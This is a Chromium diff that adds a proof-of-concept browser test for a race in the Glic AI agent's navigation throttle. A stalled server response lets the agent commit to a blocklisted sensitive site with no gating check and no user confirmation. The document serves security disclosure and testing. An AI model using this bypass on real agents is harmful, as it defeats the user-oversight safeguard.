diff --git a/chrome/browser/actor/execution_engine_origin_gating_browsertest.cc b/chrome/browser/actor/execution_engine_origin_gating_browsertest.cc index 451fb6d3734cd..4d1d60e8314c3 100644 --- a/chrome/browser/actor/execution_engine_origin_gating_browsertest.cc +++ b/chrome/browser/actor/execution_engine_origin_gating_browsertest.cc @@ -19,6 +19,7 @@ #include "chrome/browser/glic/test_support/interactive_test_util.h" #include "chrome/browser/glic/test_support/non_interactive_glic_test.h" #include "chrome/browser/optimization_guide/browser_test_util.h" +#include "chrome/common/chrome_features.h" #include "components/actor/core/actor_features.h" #include "components/actor/core/actor_switches.h" #include "components/actor/core/safety_list_manager.h" @@ -31,6 +32,7 @@ #include "content/public/test/content_browser_test_utils.h" #include "content/public/test/test_navigation_observer.h" #include "net/dns/mock_host_resolver.h" +#include "net/test/embedded_test_server/controllable_http_response.h" #include "services/metrics/public/cpp/ukm_builders.h" #include "url/origin.h" #include "url/url_util.h" @@ -2127,4 +2129,145 @@ IN_PROC_BROWSER_TEST_F(ExecutionEngineBlocklistDisabledBrowserTest, ExpectOkResult(result); } +// ============================================================================= +// POC: ActorNavigationThrottle fail-open via action-sequence-scoped WeakPtr. +// +// ActorNavigationThrottle stores a WeakPtr to ExecutionEngine vended from +// `actions_weak_ptr_factory_`, which is invalidated every time an action +// sequence completes (ExecutionEngine::CompleteActions). If the navigation's +// WillProcessResponse fires *after* the action sequence completes, the throttle +// hits `if (!execution_engine_) return PROCEED;` and ShouldDeferNavigation() +// (which performs the OptGuide sensitive-URL check + user/server confirmation) +// is never called. +// +// This test demonstrates the bypass by: +// 1. Starting a Glic Actor task on a benign page. +// 2. Issuing a Click that initiates a renderer navigation to an +// OptGuide-sensitive host (`blocked.example.com`) whose HTTP response is +// stalled by the test server. +// 3. Waiting for the action sequence's observation-delay timeout to fire, +// which runs CompleteActions() and invalidates the throttle's WeakPtr. +// 4. Releasing the stalled response. +// 5. Observing that the navigation commits to the sensitive host with no +// gating decision recorded and no user-confirmation prompt issued. +// +// Without this race (see ConfirmBlockedOriginWithUser_Denied above), the same +// navigation would record a kNeedsAsyncCheck gating decision and be deferred +// for a user confirmation dialog. +// ============================================================================= +class ActorNavigationThrottleFailOpenBrowserTest + : public ExecutionEngineOriginGatingBrowserTestBase { + public: + ActorNavigationThrottleFailOpenBrowserTest() { + // Shorten the observation-delay timeout so CompleteActions() runs quickly + // while the navigation response is stalled. The default is 10s; in + // production an attacker simply delays the response by >10s. + scoped_feature_list_.InitWithFeaturesAndParameters( + /*enabled_features=*/ + { + {features::kGlicActor, + {{features::kGlicActorPolicyControlExemption.name, "true"}, + {features::kGlicActorPageStabilityTimeout.name, "300ms"}, + {features::kActorObservationDelayTimeout.name, "1s"}}}, + }, + /*disabled_features=*/{}); + } + + void SetUpOnMainThread() override { + // Register the controllable response *before* the embedded HTTPS test + // server is started in the base class. + CHECK(!embedded_https_test_server().Started()); + slow_response_ = + std::make_unique( + &embedded_https_test_server(), "/slow_blocked"); + ExecutionEngineOriginGatingBrowserTestBase::SetUpOnMainThread(); + } + + protected: + std::unique_ptr slow_response_; + + private: + base::test::ScopedFeatureList scoped_feature_list_; +}; + +IN_PROC_BROWSER_TEST_F(ActorNavigationThrottleFailOpenBrowserTest, + SlowResponseBypassesShouldDeferNavigation) { + base::HistogramTester histogram_tester; + + const GURL start_url = + embedded_https_test_server().GetURL("example.com", "/actor/link.html"); + // `blocked.example.com` is on the OptGuide GLIC_ACTION_PAGE_BLOCK list (set + // up by the base fixture). Under default flags, navigating to it cross-origin + // should hit GatingDecision::kNeedsAsyncCheck and require a user-confirmation + // dialog before committing. + const GURL slow_blocked_url = embedded_https_test_server().GetURL( + "blocked.example.com", "/slow_blocked"); + + ASSERT_TRUE(content::NavigateToURL(web_contents(), start_url)); + OpenGlicAndCreateTask(); + + // Intentionally do NOT install a user-confirmation handler. If + // ShouldDeferNavigation() were correctly invoked, the navigation would be + // deferred indefinitely waiting for the (absent) handler and the assertions + // below would fail. + + // Point the link at the stalled, OptGuide-sensitive destination. + ASSERT_TRUE(content::ExecJs( + web_contents(), content::JsReplace("setLink($1);", slow_blocked_url))); + + // Issue the Click action without blocking. This creates the + // ActorNavigationThrottle (capturing a *valid* actions-scoped WeakPtr) and + // sends the request, which the test server stalls. + std::optional dom_node_id = + content::GetDOMNodeId(*main_frame(), "#link"); + ASSERT_TRUE(dom_node_id); + std::unique_ptr click = + MakeClickRequest(*main_frame(), dom_node_id.value()); + ActResultFuture act_result; + content::TestNavigationObserver nav_observer(web_contents()); + actor_task().Act(ToRequestList(click), act_result.GetCallback()); + + // Wait for the action sequence to complete via the observation-delay timeout. + // ExecutionEngine::CompleteActions() runs and invalidates + // actions_weak_ptr_factory_, nulling the throttle's `execution_engine_`. + ASSERT_TRUE(act_result.Wait()); + LOG(ERROR) << "POC: Action sequence completed; throttle WeakPtr is now null. " + "Act result code = " + << act_result.Get().back().result->code; + + // The (stalled) request should have reached the test server by now — + // WillStartRequest already passed via MayActOnUrl's navigation-gating + // short-circuit (site_policy.cc IsNavigationGatingEnabled && !origin_checker + // → Accept). + ASSERT_TRUE(slow_response_->has_received_request()) + << "Navigation request never reached the server; Act result code = " + << act_result.Get().back().result->code; + slow_response_->WaitForRequest(); + + // Now release the response. ActorNavigationThrottle::WillProcessResponse() + // sees `!execution_engine_` and returns PROCEED *without* ever calling + // ExecutionEngine::ShouldDeferNavigation(). + slow_response_->Send(net::HTTP_OK, "text/html", + "sensitive"); + slow_response_->Done(); + nav_observer.Wait(); + + // ========== FAIL-OPEN PROOF ========== + // The navigation to the OptGuide-sensitive host committed. + EXPECT_TRUE(nav_observer.last_navigation_succeeded()); + EXPECT_EQ(web_contents()->GetLastCommittedURL(), slow_blocked_url); + LOG(ERROR) << "POC: Navigation committed to sensitive URL without gating: " + << web_contents()->GetLastCommittedURL(); + + // ShouldDeferNavigation() was never invoked: no GatingDecision recorded, no + // gate applied, no user-confirmation prompt sent. + histogram_tester.ExpectTotalCount("Actor.NavigationGating.GatingDecision2", + 0); + histogram_tester.ExpectTotalCount("Actor.NavigationGating.AppliedGate", 0); + histogram_tester.ExpectTotalCount("Actor.NavigationGating.PermissionGranted", + 0); + LOG(ERROR) << "POC: ShouldDeferNavigation was bypassed — 0 GatingDecision2 " + "samples for an OptGuide-sensitive cross-origin navigation."; +} + } // namespace actor